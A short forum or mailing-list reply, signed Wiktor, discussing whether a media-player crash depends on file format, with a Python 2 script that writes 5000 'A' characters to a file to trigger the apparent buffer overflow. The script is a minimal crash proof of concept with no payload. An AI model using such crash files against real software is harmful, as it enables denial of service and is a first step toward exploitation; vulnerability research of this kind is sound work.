>> I know this because I "tasted" the exploit without extension.
Actually, this is not the proof that the vulnerability is not connected with
format, because program could read the file and judge that if this program has
M3U format or RML or something else. But if we try following code we are sure:
#!/usr/bin/python
content = (
"A" * 5000 + "\n"
)
fd = open("music","w");
fd.write(content)
fd.close();
print "FILE CREATED"
Wiktor